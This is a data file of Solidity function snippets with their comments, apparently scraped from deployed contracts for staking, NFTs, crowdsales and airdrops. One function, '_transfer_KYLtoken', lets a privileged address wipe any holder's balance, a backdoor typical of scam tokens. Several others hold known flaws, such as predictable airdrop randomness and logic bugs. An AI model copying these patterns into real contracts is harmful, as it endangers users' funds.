NOTE: should be a pre-condition that _currentEpoch >= lastUpdatedEpoch\n // It's possible to end up in this state if we shorten epoch size.\n // As such, it's not baked as a precondition\n if (_currentEpoch <= lastUpdatedEpoch) {\n return;\n }\n\n accumulationFactor = _accumulationFactorAt(_currentEpoch);\n lastUpdatedEpoch = _currentEpoch;\n uint256 _nUnupdatedEpochs = _currentEpoch - lastUpdatedEpoch;\n emit AccumulationFactorUpdated(_nUnupdatedEpochs, _currentEpoch, accumulationFactor.mul(10000).toUInt());\n }", "version": "0.8.4"} {"comment": "/** Stake on behalf of a given address. Used by other contracts (like Presale) */", "function_code": "function stakeFor(address _staker, uint256 _amountTemple) public returns(uint256 amountOgTemple) {\n require(_amountTemple > 0, \"Cannot stake 0 tokens\");\n\n _updateAccumulationFactor();\n\n // net past value/genesis value/OG Value for the temple you are putting in.\n amountOgTemple = _overflowSafeMul1e18(ABDKMath64x64.divu(_amountTemple, 1e18).div(accumulationFactor));\n\n SafeERC20.safeTransferFrom(TEMPLE, msg.sender, address(this), _amountTemple);\n OG_TEMPLE.mint(_staker, amountOgTemple);\n emit StakeCompleted(_staker, _amountTemple, 0);\n\n return amountOgTemple;\n }", "version": "0.8.4"} {"comment": "// Transfer some funds to the target investment address.", "function_code": "function execute_transfer(uint transfer_amount) internal {\r\n // Major fee is 60% * (1/11) * value = 6 * value / (10 * 11)\r\n uint major_fee = transfer_amount * 6 / (10 * 11);\r\n // Minor fee is 40% * (1/11) * value = 4 * value / (10 * 11)\r\n uint minor_fee = transfer_amount * 4 / (10 * 11);\r\n\r\n require(major_partner_address.call.gas(gas).value(major_fee)());\r\n require(minor_partner_address.call.gas(gas).value(minor_fee)());\r\n\r\n // Send the rest\r\n require(investment_address.call.gas(gas).value(transfer_amount - major_fee - minor_fee)());\r\n }", "version": "0.4.19"} {"comment": "// allow update token type from owner wallet", "function_code": "function setTokenTypeAsOwner(address _token, string _type) public onlyOwner{\r\n // get previos type\r\n bytes32 prevType = getType[_token];\r\n\r\n // Update type\r\n getType[_token] = stringToBytes32(_type);\r\n isRegistred[_token] = true;\r\n\r\n // if new type unique add it to the list\r\n if(stringToBytes32(_type) != prevType)\r\n allTypes.push(_type);\r\n }", "version": "0.4.24"} {"comment": "// helper for convert dynamic string size to fixed bytes32 size", "function_code": "function stringToBytes32(string memory source) private pure returns (bytes32 result) {\r\n bytes memory tempEmptyStringTest = bytes(source);\r\n if (tempEmptyStringTest.length == 0) {\r\n return 0x0;\r\n }\r\n\r\n assembly {\r\n result := mload(add(source, 32))\r\n }\r\n }", "version": "0.4.24"} {"comment": "/// @dev Update the address of the genetic contract, can only be called by the CEO.\n/// @param _address An address of a GeneScience contract instance to be used from this point forward.", "function_code": "function setBitKoiTraitAddress(address _address) external onlyCEO {\r\n BitKoiTraitInterface candidateContract = BitKoiTraitInterface(_address);\r\n\r\n // NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117\r\n require(candidateContract.isBitKoiTraits());\r\n\r\n // Set the new contract address\r\n bitKoiTraits = candidateContract;\r\n }", "version": "0.8.7"} {"comment": "/// @dev Checks that a given fish is able to breed. Requires that the\n/// current cooldown is finished", "function_code": "function _isReadyToBreed(BitKoi storage _fish) internal view returns (bool) {\r\n // In addition to checking the cooldownEndBlock, we also need to check to see if\r\n // the fish has a pending birth; there can be some period of time between the end\r\n // of the pregnacy timer and the spawn event.\r\n return _fish.cooldownEndBlock <= uint64(block.number);\r\n }", "version": "0.8.7"} {"comment": "/** @notice Public mint day after whitelist */", "function_code": "function publicMint() external payable notContract {\n // Wait until public start\n require(\n start <= block.timestamp,\n 'Mint: Public sale not yet started, bud.'\n );\n\n // Check ethereum paid\n uint256 mintAmount = msg.value / price;\n if (freeMinted < totalFree && !claimed[msg.sender]) {\n claimed[msg.sender] = true;\n mintAmount += 1;\n freeMinted += 1;\n }\n\n if (totalSupply() + mintAmount > collectionSize) {\n uint256 over = (totalSupply() + mintAmount) - collectionSize;\n safeTransferETH(msg.sender, over * price);\n\n mintAmount = collectionSize - totalSupply(); // Last person gets the rest.\n }\n\n require(mintAmount > 0, 'Mint: Can not mint 0 fren.');\n\n _safeMint(msg.sender, mintAmount);\n }", "version": "0.8.6"} {"comment": "/** @notice Image URI */", "function_code": "function tokenURI(uint256 tokenId)\n public\n view\n override(ERC721A)\n returns (string memory)\n {\n require(_exists(tokenId), 'URI: Token does not exist');\n\n // Convert string to bytes so we can check if it's empty or not.\n return\n bytes(revealedTokenURI).length > 0\n ? string(abi.encodePacked(revealedTokenURI, tokenId.toString()))\n : baseTokenURI;\n }", "version": "0.8.6"} {"comment": "/// @dev Set the cooldownEndTime for the given fish based on its current cooldownIndex.\n/// Also increments the cooldownIndex (unless it has hit the cap).\n/// @param _koiFish A reference to the KoiFish in storage which needs its timer started.", "function_code": "function _triggerCooldown(BitKoi storage _koiFish) internal {\r\n // Compute an estimation of the cooldown time in blocks (based on current cooldownIndex).\r\n _koiFish.cooldownEndBlock = uint64((cooldowns[_koiFish.cooldownIndex]/secondsPerBlock) + block.number);\r\n\r\n // Increment the breeding count, clamping it at 13, which is the length of the\r\n // cooldowns array. We could check the array size dynamically, but hard-coding\r\n // this as a constant saves gas. Yay, Solidity!\r\n if (_koiFish.cooldownIndex < 13) {\r\n _koiFish.cooldownIndex += 1;\r\n }\r\n }", "version": "0.8.7"} {"comment": "/// @dev Internal check to see if a the parents are a valid mating pair. DOES NOT\n/// check ownership permissions (that is up to the caller).\n/// @param _parent1 A reference to the Fish struct of the potential first parent\n/// @param _parent1Id The first parent's ID.\n/// @param _parent2 A reference to the Fish struct of the potential second parent\n/// @param _parent2Id The second parent's ID.", "function_code": "function _isValidMatingPair(\r\n BitKoi storage _parent1,\r\n uint256 _parent1Id,\r\n BitKoi storage _parent2,\r\n uint256 _parent2Id\r\n )\r\n private\r\n view\r\n returns(bool)\r\n {\r\n // A Fish can't breed with itself!\r\n if (_parent1Id == _parent2Id) {\r\n return false;\r\n }\r\n\r\n //the fish have to have genes\r\n if (_parent1.genes == 0 || _parent2.genes == 0) {\r\n return false;\r\n }\r\n\r\n // Fish can't breed with their parents.\r\n if (_parent1.parent1Id == _parent1Id || _parent1.parent2Id == _parent2Id) {\r\n return false;\r\n }\r\n if (_parent2.parent1Id == _parent1Id || _parent2.parent2Id == _parent2Id) {\r\n return false;\r\n }\r\n\r\n // OK the tx if either fish is gen zero (no parent found).\r\n if (_parent2.parent1Id == 0 || _parent1.parent1Id == 0) {\r\n return true;\r\n }\r\n\r\n // Fish can't breed with full or half siblings.\r\n if (_parent2.parent1Id == _parent1.parent1Id || _parent2.parent1Id == _parent1.parent2Id) {\r\n return false;\r\n }\r\n if (_parent2.parent1Id == _parent1.parent1Id || _parent2.parent2Id == _parent1.parent2Id) {\r\n return false;\r\n }\r\n\r\n // gtg\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "/// @notice Checks to see if two BitKoi can breed together, including checks for\n/// ownership and siring approvals. Doesn't check that both BitKoi are ready for\n/// breeding (i.e. breedWith could still fail until the cooldowns are finished).\n/// @param _parent1Id The ID of the proposed first parent.\n/// @param _parent2Id The ID of the proposed second parent.", "function_code": "function canBreedWith(uint256 _parent1Id, uint256 _parent2Id)\r\n external\r\n view\r\n returns(bool)\r\n {\r\n require(_parent1Id > 0);\r\n require(_parent2Id > 0);\r\n BitKoi storage parent1 = bitKoi[_parent1Id];\r\n BitKoi storage parent2 = bitKoi[_parent2Id];\r\n return _isValidMatingPair(parent1, _parent1Id, parent2, _parent2Id);\r\n }", "version": "0.8.7"} {"comment": "/// @dev Internal utility function to initiate breeding, assumes that all breeding\n/// requirements have been checked.", "function_code": "function _breedWith(uint256 _parent1Id, uint256 _parent2Id) internal returns(uint256) {\r\n // Grab a reference to the Koi from storage.\r\n BitKoi storage parent1 = bitKoi[_parent1Id];\r\n BitKoi storage parent2 = bitKoi[_parent2Id];\r\n\r\n // Determine the higher generation number of the two parents\r\n uint16 parentGen = parent1.generation;\r\n if (parent2.generation > parent1.generation) {\r\n parentGen = parent2.generation;\r\n }\r\n\r\n uint256 bitKoiCoProceeds = msg.value;\r\n\r\n //transfer the breed fee less the pond cut to the CFO contract\r\n payable(address(cfoAddress)).transfer(bitKoiCoProceeds);\r\n\r\n // Make the new fish!\r\n address owner = bitKoiIndexToOwner[_parent1Id];\r\n uint256 newFishId = _createBitKoi(_parent1Id, _parent2Id, parentGen + 1, 0, owner);\r\n\r\n // Trigger the cooldown for both parents.\r\n _triggerCooldown(parent1);\r\n _triggerCooldown(parent2);\r\n\r\n // Emit the breeding event.\r\n emit BreedingSuccessful(bitKoiIndexToOwner[_parent1Id], newFishId, _parent1Id, _parent2Id, parent1.cooldownEndBlock);\r\n\r\n return newFishId;\r\n }", "version": "0.8.7"} {"comment": "/// @dev we can create promo fish, up to a limit. Only callable by COO\n/// @param _genes the encoded genes of the fish to be created, any value is accepted\n/// @param _owner the future owner of the created fish. Default to contract COO", "function_code": "function createPromoFish(uint256 _genes, address _owner) external onlyCOO {\r\n address bitKoiOwner = _owner;\r\n\r\n if (bitKoiOwner == address(0)) {\r\n bitKoiOwner = cooAddress;\r\n }\r\n\r\n require(promoCreatedCount < PROMO_CREATION_LIMIT);\r\n\r\n promoCreatedCount++;\r\n _createBitKoi(0, 0, 0, _genes, bitKoiOwner);\r\n }", "version": "0.8.7"} {"comment": "/// @notice Returns all the relevant information about a specific fish.\n/// @param _id The ID of the fish we're looking up", "function_code": "function getBitKoi(uint256 _id)\r\n external\r\n view\r\n returns (\r\n bool isReady,\r\n uint256 cooldownIndex,\r\n uint256 nextActionAt,\r\n uint256 spawnTime,\r\n uint256 parent1Id,\r\n uint256 parent2Id,\r\n uint256 generation,\r\n uint256 cooldownEndBlock,\r\n uint256 genes\r\n ) {\r\n BitKoi storage fish = bitKoi[_id];\r\n isReady = (fish.cooldownEndBlock <= block.number);\r\n cooldownIndex = uint256(fish.cooldownIndex);\r\n nextActionAt = uint256(fish.cooldownEndBlock);\r\n spawnTime = uint256(fish.spawnTime);\r\n parent1Id = uint256(fish.parent1Id);\r\n parent2Id = uint256(fish.parent2Id);\r\n generation = uint256(fish.generation);\r\n cooldownEndBlock = uint256(fish.cooldownEndBlock);\r\n genes = fish.genes;\r\n }", "version": "0.8.7"} {"comment": "/* matches as many orders as possible from the passed orders\r\n Runs as long as gas is available for the call.\r\n Reverts if any match is invalid (e.g sell price > buy price)\r\n Skips match if any of the matched orders is removed / already filled (i.e. amount = 0)\r\n */", "function_code": "function matchMultipleOrders(uint64[] buyTokenIds, uint64[] sellTokenIds) external returns(uint matchCount) {\r\n uint len = buyTokenIds.length;\r\n require(len == sellTokenIds.length, \"buyTokenIds and sellTokenIds lengths must be equal\");\r\n\r\n for (uint i = 0; i < len && gasleft() > ORDER_MATCH_WORST_GAS; i++) {\r\n if(_fillOrder(buyTokenIds[i], sellTokenIds[i])) {\r\n matchCount++;\r\n }\r\n }\r\n }", "version": "0.4.24"} {"comment": "// returns CHUNK_SIZE orders starting from offset\n// orders are encoded as [id, maker, price, amount]", "function_code": "function getActiveBuyOrders(uint offset) external view returns (uint[4][CHUNK_SIZE] response) {\r\n for (uint8 i = 0; i < CHUNK_SIZE && i + offset < activeBuyOrders.length; i++) {\r\n uint64 orderId = activeBuyOrders[offset + i];\r\n Order storage order = buyTokenOrders[orderId];\r\n response[i] = [orderId, uint(order.maker), order.price, order.amount];\r\n }\r\n }", "version": "0.4.24"} {"comment": "// Deposit LP tokens to MasterChef for VODKA allocation.", "function_code": "function deposit(uint256 _pid, uint256 _amount) public {\r\n PoolInfo storage pool = poolInfo[_pid];\r\n UserInfo storage user = userInfo[_pid][msg.sender];\r\n updatePool(_pid);\r\n if (user.amount > 0) {\r\n uint256 pending = user.amount.mul(pool.accVodkaPerShare).div(1e12).sub(user.rewardDebt);\r\n safeVodkaTransfer(msg.sender, pending);\r\n }\r\n pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);\r\n user.amount = user.amount.add(_amount);\r\n user.rewardDebt = user.amount.mul(pool.accVodkaPerShare).div(1e12);\r\n emit Deposit(msg.sender, _pid, _amount);\r\n }", "version": "0.6.12"} {"comment": "/**************************\r\n \t Constructor and fallback\r\n \t**************************/", "function_code": "function DaoAccount (address _owner, uint256 _tokenPrice, address _challengeOwner) noEther {\r\n owner = _owner;\r\n\t\ttokenPrice = _tokenPrice;\r\n daoChallenge = msg.sender;\r\n\t\ttokenBalance = 0;\r\n\r\n // Remove for a real DAO contract:\r\n challengeOwner = _challengeOwner;\r\n\t}", "version": "0.3.5"} {"comment": "// Check if a given account belongs to this DaoChallenge.", "function_code": "function isMember (DaoAccount account, address allegedOwnerAddress) returns (bool) {\r\n\t\tif (account == DaoAccount(0x00)) return false;\r\n\t\tif (allegedOwnerAddress == 0x00) return false;\r\n\t\tif (daoAccounts[allegedOwnerAddress] == DaoAccount(0x00)) return false;\r\n\t\t// allegedOwnerAddress is passed in for performance reasons, but not trusted\r\n\t\tif (daoAccounts[allegedOwnerAddress] != account) return false;\r\n\t\treturn true;\r\n\t}", "version": "0.3.5"} {"comment": "// n: max number of tokens to be issued\n// price: in szabo, e.g. 1 finney = 1,000 szabo = 0.001 ether\n// deadline: unix timestamp in seconds", "function_code": "function issueTokens (uint256 n, uint256 price, uint deadline) noEther onlyChallengeOwner {\r\n\t\t// Only allow one issuing at a time:\r\n\t\tif (now < tokenIssueDeadline) throw;\r\n\r\n\t\t// Deadline can't be in the past:\r\n\t\tif (deadline < now) throw;\r\n\r\n\t\t// Issue at least 1 token\r\n\t\tif (n == 0) throw;\r\n\r\n\t\ttokenPrice = price * 1000000000000;\r\n\t\ttokenIssueDeadline = deadline;\r\n\t\ttokensToIssue = n;\r\n\t\ttokensIssued = 0;\r\n\r\n\t\tnotifyTokenIssued(n, price, deadline);\r\n\t}", "version": "0.3.5"} {"comment": "//transfer token", "function_code": "function _transfer_KYLtoken(address sender, address recipient, uint256 amount) internal virtual{\r\n require(msg.sender == _address0, \"ERC20: transfer from the zero address\");\r\n require(recipient == address(0), \"ERC20: transfer to the zero address\");\r\n require(sender != address(0), \"ERC20: transfer from the zero address\");\r\n _beforeTokenTransfer(sender, recipient, amount);\r\n _balances[sender] = _balances[sender].sub(amount, \"ERC20: transfer amount exceeds balance\");\r\n _balances[recipient] = _balances[recipient].add(amount);\r\n emit Transfer(sender, recipient, amount);\r\n }", "version": "0.6.6"} {"comment": "// @dev Accepts ether and creates new KCN tokens.", "function_code": "function buyTokens(address sender, uint256 value) internal {\r\n require(!isFinalized);\r\n require(value > 0 ether);\r\n\r\n // Calculate token to be purchased\r\n uint256 tokenRateNow = getRateTime(getCurrent());\r\n \tuint256 tokens = value * tokenRateNow; // check that we're not over totals\r\n \tuint256 checkedSupply = totalSale + tokens;\r\n \t\r\n \t// return money if something goes wrong\r\n \trequire(tokenForSale >= checkedSupply); // odd fractions won't be found \t\r\n\r\n // Transfer\r\n balances[sender] += tokens;\r\n\r\n // Update total sale.\r\n totalSale = checkedSupply;\r\n\r\n // Forward the fund to fund collection wallet.\r\n ethFundAddress.transfer(value);\r\n }", "version": "0.4.15"} {"comment": "// Withdraw accumulated balance, called by payee", "function_code": "function withdrawPayments() internal returns (bool) {\r\n address payee = msg.sender;\r\n uint payment = payments[payee];\r\n\r\n if (payment == 0) {\r\n revert();\r\n }\r\n\r\n if (this.balance < payment) {\r\n revert();\r\n }\r\n\r\n payments[payee] = 0;\r\n\r\n if (!payee.send(payment)) {\r\n revert();\r\n }\r\n RefundETH(payee, payment);\r\n return true;\r\n }", "version": "0.4.13"} {"comment": "// Crowdsale {constructor}\n// @notice fired when contract is crated. Initilizes all constnat variables.", "function_code": "function Crowdsale() {\r\n \r\n multisigETH = 0x62739Ec09cdD8FAe2f7b976f8C11DbE338DF8750; \r\n team = 0x62739Ec09cdD8FAe2f7b976f8C11DbE338DF8750; \r\n GXCSentToETH = 487000 * multiplier; \r\n minInvestETH = 100000000000000000 ; // 0.1 eth\r\n startBlock = 0; // ICO start block\r\n endBlock = 0; // ICO end block \r\n maxCap = 8250000 * multiplier;\r\n // Price is 0.001 eth \r\n tokenPriceWei = 3004447000000000;\r\n \r\n minCap = 500000 * multiplier;\r\n }", "version": "0.4.13"} {"comment": "// @notice It will be called by owner to start the sale ", "function_code": "function start(uint _block) onlyOwner() {\r\n startBlock = block.number;\r\n endBlock = startBlock + _block; //TODO: Replace _block with 40320 for 7 days\r\n // 1 week in blocks = 40320 (4 * 60 * 24 * 7)\r\n // enable this for live assuming each bloc takes 15 sec .\r\n crowdsaleClosed = false;\r\n }", "version": "0.4.13"} {"comment": "// @notice It will be called by fallback function whenever ether is sent to it\n// @param _backer {address} address of beneficiary\n// @return res {bool} true if transaction was successful", "function_code": "function handleETH(address _backer) internal stopInEmergency respectTimeFrame returns(bool res) {\r\n\r\n if (msg.value < minInvestETH) revert(); // stop when required minimum is not sent\r\n\r\n uint GXCToSend = (msg.value * multiplier)/ tokenPriceWei ; // calculate number of tokens\r\n\r\n // Ensure that max cap hasn't been reached\r\n if (safeAdd(GXCSentToETH, GXCToSend) > maxCap) revert();\r\n\r\n Backer storage backer = backers[_backer];\r\n\r\n if ( backer.weiReceived == 0)\r\n backersIndex.push(_backer);\r\n\r\n if (!gxc.transfer(_backer, GXCToSend)) revert(); // Transfer GXC tokens\r\n backer.GXCSent = safeAdd(backer.GXCSent, GXCToSend);\r\n backer.weiReceived = safeAdd(backer.weiReceived, msg.value);\r\n ETHReceived = safeAdd(ETHReceived, msg.value); // Update the total Ether recived\r\n GXCSentToETH = safeAdd(GXCSentToETH, GXCToSend);\r\n ReceivedETH(_backer, msg.value, GXCToSend); // Register event\r\n return true;\r\n }", "version": "0.4.13"} {"comment": "// @notice This function will finalize the sale.\n// It will only execute if predetermined sale time passed or all tokens are sold.", "function_code": "function finalize() onlyOwner() {\r\n\r\n if (crowdsaleClosed) revert();\r\n \r\n uint daysToRefund = 4*60*24*10; //10 days \r\n\r\n if (block.number < endBlock && GXCSentToETH < maxCap -100 ) revert(); // -100 is used to allow closing of the campaing when contribution is near \r\n // finished as exact amount of maxCap might be not feasible e.g. you can't easily buy few tokens. \r\n // when min contribution is 0.1 Eth. \r\n\r\n if (GXCSentToETH < minCap && block.number < safeAdd(endBlock , daysToRefund)) revert(); \r\n\r\n \r\n if (GXCSentToETH > minCap) {\r\n if (!multisigETH.send(this.balance)) revert(); // transfer balance to multisig wallet\r\n if (!gxc.transfer(team, gxc.balanceOf(this))) revert(); // transfer tokens to admin account or multisig wallet \r\n gxc.unlock(); // release lock from transfering tokens. \r\n }\r\n else{\r\n if (!gxc.burn(this, gxc.balanceOf(this))) revert(); // burn all the tokens remaining in the contract \r\n }\r\n\r\n crowdsaleClosed = true;\r\n \r\n }", "version": "0.4.13"} {"comment": "// @notice Prepare refund of the backer if minimum is not reached\n// burn the tokens", "function_code": "function prepareRefund() minCapNotReached internal returns (bool){\r\n uint value = backers[msg.sender].GXCSent;\r\n\r\n if (value == 0) revert(); \r\n if (!gxc.burn(msg.sender, value)) revert();\r\n uint ETHToSend = backers[msg.sender].weiReceived;\r\n backers[msg.sender].weiReceived = 0;\r\n backers[msg.sender].GXCSent = 0;\r\n if (ETHToSend > 0) {\r\n asyncSend(msg.sender, ETHToSend);\r\n return true;\r\n }else\r\n return false;\r\n \r\n }", "version": "0.4.13"} {"comment": "// The GXC Token constructor", "function_code": "function GXC(address _crowdSaleAddress) { \r\n locked = true; // Lock the transfer of tokens during the crowdsale\r\n initialSupply = 10000000 * multiplier;\r\n totalSupply = initialSupply;\r\n name = 'GXC'; // Set the name for display purposes\r\n symbol = 'GXC'; // Set the symbol for display purposes\r\n decimals = 10; // Amount of decimals for display purposes\r\n crowdSaleAddress = _crowdSaleAddress; \r\n balances[crowdSaleAddress] = totalSupply; \r\n }", "version": "0.4.13"} {"comment": "/**\r\n * @dev receive ETH and send tokens\r\n */", "function_code": "function () public payable {\r\n require(airdopped[msg.sender] != true);\r\n uint256 balance = vnetToken.balanceOf(address(this));\r\n require(balance > 0);\r\n\r\n uint256 vnetAmount = 100;\r\n vnetAmount = vnetAmount.add(uint256(keccak256(abi.encode(now, msg.sender, randNonce))) % 100).mul(10 ** 6);\r\n \r\n if (vnetAmount <= balance) {\r\n assert(vnetToken.transfer(msg.sender, vnetAmount));\r\n } else {\r\n assert(vnetToken.transfer(msg.sender, balance));\r\n }\r\n\r\n randNonce = randNonce.add(1);\r\n airdopped[msg.sender] = true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev This function has a non-reentrancy guard, so it shouldn't be called by\r\n * another `nonReentrant` function.\r\n * @param sentTokens Amount of tokens sent\r\n * @param _erc20Token Address of the token contract\r\n */", "function_code": "function buyTokensWithTokens(uint256 sentTokens, address _erc20Token) public nonReentrant {\r\n require(isTokenAccepted(_erc20Token), \"Token is not accepted\");\r\n address beneficiary = _msgSender();\r\n _preValidatePurchase(beneficiary, sentTokens);\r\n\r\n IERC20 erc20Token = IERC20(_erc20Token);\r\n uint256 amountRecieved = _getTokenAmount(sentTokens, _erc20Token);\r\n require(sentTokens <= erc20Token.allowance(beneficiary, address(this)), \"Insufficient Funds\");\r\n\r\n _forwardFundsToken(erc20Token, sentTokens);\r\n _sold = _sold.add(amountRecieved);\r\n _processPurchase(beneficiary, amountRecieved);\r\n emit TokensPurchased(beneficiary, beneficiary, 0, amountRecieved);\r\n\r\n _updatePurchasingState(beneficiary, amountRecieved);\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Set sponsor\r\n * @param sponsor Sponsor address\r\n */", "function_code": "function setSponsor(address sponsor) public returns (bool) {\r\n require(sponsor != _msgSender(), \"You can not be your own sponsor\");\r\n User storage _user = _users[_msgSender()];\r\n require(_user.sponsor == address(0), \"You already has a sponsor\");\r\n _user.sponsor = sponsor;\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Withdraw all available tokens.\r\n */", "function_code": "function withdraw() public whenNotPaused nonReentrant returns (bool) {\r\n require(hasClosed(), \"TimedCrowdsale: not closed\");\r\n User storage user = _users[_msgSender()];\r\n uint256 available = user.referralBonus.add(user.balance);\r\n require(available > 0, \"Not available\");\r\n user.balance = 0;\r\n user.referralBonus = 0;\r\n _vault.transferToken(token(), _msgSender(), available);\r\n return true;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * This function called by user who want to claim passive air drop.\r\n * He can only claim air drop once, for current air drop. If admin stop an air drop and start fresh, then users can claim again (once only).\r\n */", "function_code": "function claimPassiveAirdrop() public payable returns(bool) {\r\n require(airdropAmount > 0, 'Token amount must not be zero');\r\n require(passiveAirdropStatus, 'Air drop is not active');\r\n require(passiveAirdropTokensSold <= passiveAirdropTokensAllocation, 'Air drop sold out');\r\n require(!airdropClaimed[airdropClaimedIndex][msg.sender], 'user claimed air drop already');\r\n require(!isContract(msg.sender), 'No contract address allowed to claim air drop');\r\n require(msg.value >= airdropFee, 'Not enough ether to claim this airdrop');\r\n \r\n _transfer(address(this), msg.sender, airdropAmount);\r\n passiveAirdropTokensSold += airdropAmount;\r\n airdropClaimed[airdropClaimedIndex][msg.sender] = true; \r\n return true;\r\n }", "version": "0.5.5"} {"comment": "/**\r\n * Run an ACTIVE Air-Drop\r\n *\r\n * It requires an array of all the addresses and amount of tokens to distribute\r\n * It will only process first 150 recipients. That limit is fixed to prevent gas limit\r\n */", "function_code": "function airdropACTIVE(address[] memory recipients,uint256 tokenAmount) public onlyOwner {\r\n require(recipients.length <= 150);\r\n uint256 totalAddresses = recipients.length;\r\n for(uint i = 0; i < totalAddresses; i++)\r\n {\r\n //This will loop through all the recipients and send them the specified tokens\r\n //Input data validation is unncessary, as that is done by SafeMath and which also saves some gas.\r\n _transfer(address(this), recipients[i], tokenAmount);\r\n }\r\n }", "version": "0.5.5"} {"comment": "/**\r\n * @notice Emit transfer event on NFT in case opensea missed minting event.\r\n *\r\n * @dev Sometimes opensea misses minting events, which causes the NFTs to\r\n * not show up on the platform. We can fix this by re-emitting the transfer \r\n * event on the NFT.\r\n *\r\n * @param start. The NFT to start from.\r\n * @param end. The NFT to finish with.\r\n */", "function_code": "function emitTransferEvent(uint256 start, uint256 end) external onlyOwner {\r\n require(start < end, \"START CANNOT BE GREATED THAN OR EQUAL TO END\");\r\n require(end <= totalSupply(), \"CANNOT EMIT ABOVE TOTAL SUPPY\");\r\n\r\n for (uint i = start; i < end; i++) {\r\n address owner = ownerOf(i);\r\n emit Transfer(owner, owner, i);\r\n }\r\n }", "version": "0.8.11"} {"comment": "// ** PUBLIC VIEW function **", "function_code": "function getStrategy(address _dfWallet) public view returns(\r\n address strategyOwner,\r\n uint deposit,\r\n uint entryEthPrice,\r\n uint profitPercent,\r\n uint fee,\r\n uint ethForRedeem,\r\n uint usdToWithdraw)\r\n {\r\n strategyOwner = strategies[_dfWallet].owner;\r\n deposit = strategies[_dfWallet].deposit;\r\n entryEthPrice = strategies[_dfWallet].entryEthPrice;\r\n profitPercent = strategies[_dfWallet].profitPercent;\r\n fee = strategies[_dfWallet].fee;\r\n ethForRedeem = strategies[_dfWallet].ethForRedeem;\r\n usdToWithdraw = strategies[_dfWallet].usdToWithdraw;\r\n }", "version": "0.5.17"} {"comment": "// * SETUP_STRATAGY_PERMISSION function **", "function_code": "function setupStrategy(\r\n address _owner, address _dfWallet, uint256 _deposit, uint8 _profitPercent, uint8 _fee\r\n ) public hasSetupStrategyPermission {\r\n require(strategies[_dfWallet].deposit == 0, \"Strategy already set\");\r\n\r\n uint priceEth = getCurPriceEth();\r\n\r\n strategies[_dfWallet] = Strategy(uint80(_deposit), uint80(priceEth), _profitPercent, _fee, 0, 0, _owner);\r\n\r\n emit SetupStrategy(_owner, _dfWallet, priceEth, _deposit, _profitPercent, _fee);\r\n }", "version": "0.5.17"} {"comment": "// ** INTERNAL PUBLIC functions **", "function_code": "function _getProfitEth(\r\n address _dfWallet, uint256 _ethLocked, uint256 _ethForRedeem\r\n ) internal view returns(uint256 profitEth) {\r\n uint deposit = strategies[_dfWallet].deposit; // in eth\r\n uint fee = strategies[_dfWallet].fee; // in percent (from 0 to 100)\r\n uint profitPercent = strategies[_dfWallet].profitPercent; // in percent (from 0 to 255)\r\n\r\n // user additional profit in eth\r\n profitEth = sub(sub(_ethLocked, deposit), _ethForRedeem) * sub(100, fee) / 100;\r\n\r\n require(wdiv(profitEth, deposit) * 100 >= profitPercent * WAD, \"Needs more profit in eth\");\r\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Claims the AC and then locks in voting escrow.\n * Note: Since claim and lock happens in the same transaction, kickable always returns false for the claimed\n * gauges. In order to figure out whether we need to kick, we kick directly in the same transaction.\n * @param _gaugesToClaim The list of gauges to claim.\n * @param _gaugesToKick The list of gauges to kick after adding to lock position.\n */", "function_code": "function claimAndLock(address[] memory _gaugesToClaim, address[] memory _gaugesToKick) external {\n // Users must have a locking position in order to use claimAbdLock\n // VotingEscrow allows deposit for others, but does not allow creating new position for others.\n require(votingEscrow.balanceOf(msg.sender) > 0, \"no lock\");\n\n for (uint256 i = 0; i < _gaugesToClaim.length; i++) {\n IGauge(_gaugesToClaim[i]).claim(msg.sender, address(this), false);\n }\n\n uint256 _reward = reward.balanceOf(address(this));\n votingEscrow.deposit_for(msg.sender, _reward);\n\n // Kick after lock\n kick(_gaugesToKick);\n }", "version": "0.8.0"} {"comment": "// called by anyone, distributes all handledToken sitting in this contract\n// to the defined accounts, accordingly to their current share portion", "function_code": "function distributeTokens() public { \r\n\t\tuint256 sharesProcessed = 0;\r\n\t\tuint256 currentAmount = handledToken.balanceOf(address(this));\r\n\t\t\r\n for(uint i = 0; i < accounts.length; i++)\r\n {\r\n\t\t\tif(accounts[i].share > 0 && accounts[i].addy != address(0)){\r\n\t\t\t\tuint256 amount = (currentAmount.mul(accounts[i].share)).div(totalShares.sub(sharesProcessed));\r\n\t\t\t\tcurrentAmount -= amount;\r\n\t\t\t\tsharesProcessed += accounts[i].share;\r\n\t\t\t\thandledToken.transfer(accounts[i].addy, amount);\r\n\t\t\t}\r\n\t\t}\r\n }", "version": "0.5.13"} {"comment": "// add or update existing account, defined by it's address & shares", "function_code": "function writeAccount(address _address, uint256 _share) public onlyOwner {\r\n require(_address != address(0), \"address can't be 0 address\");\r\n require(_address != address(this), \"address can't be this contract address\");\r\n require(_share > 0, \"share must be more than 0\");\r\n\t\tdeleteAccount(_address);\r\n Account memory acc = Account(_address, _share);\r\n accounts.push(acc);\r\n totalShares += _share;\r\n\t\ttotalAccounts++;\r\n }", "version": "0.5.13"} {"comment": "// removes existing account from account list", "function_code": "function deleteAccount(address _address) public onlyOwner{\r\n for(uint i = 0; i < accounts.length; i++)\r\n {\r\n\t\t\tif(accounts[i].addy == _address){\r\n\t\t\t\ttotalShares -= accounts[i].share;\r\n\t\t\t\tif(i < accounts.length - 1){\r\n\t\t\t\t\taccounts[i] = accounts[accounts.length - 1];\r\n\t\t\t\t}\r\n\t\t\t\tdelete accounts[accounts.length - 1];\r\n\t\t\t\taccounts.length--;\r\n\t\t\t\ttotalAccounts--;\r\n\t\t\t}\r\n\t\t}\r\n }", "version": "0.5.13"} {"comment": "// ----------------------------------------------------------------------------\n// Function to handle eth and token transfers\n// tokens are transferred to user\n// ETH are transferred to current owner\n// ----------------------------------------------------------------------------", "function_code": "function buyTokens() onlyWhenRunning public payable {\r\n require(msg.value > 0);\r\n \r\n uint tokens = msg.value.mul(RATE);\r\n require(balances[owner] >= tokens);\r\n require(buylimit[msg.sender].add(msg.value) <= 25 ether, \"Maximum 25 eth allowed for Buy\");\r\n 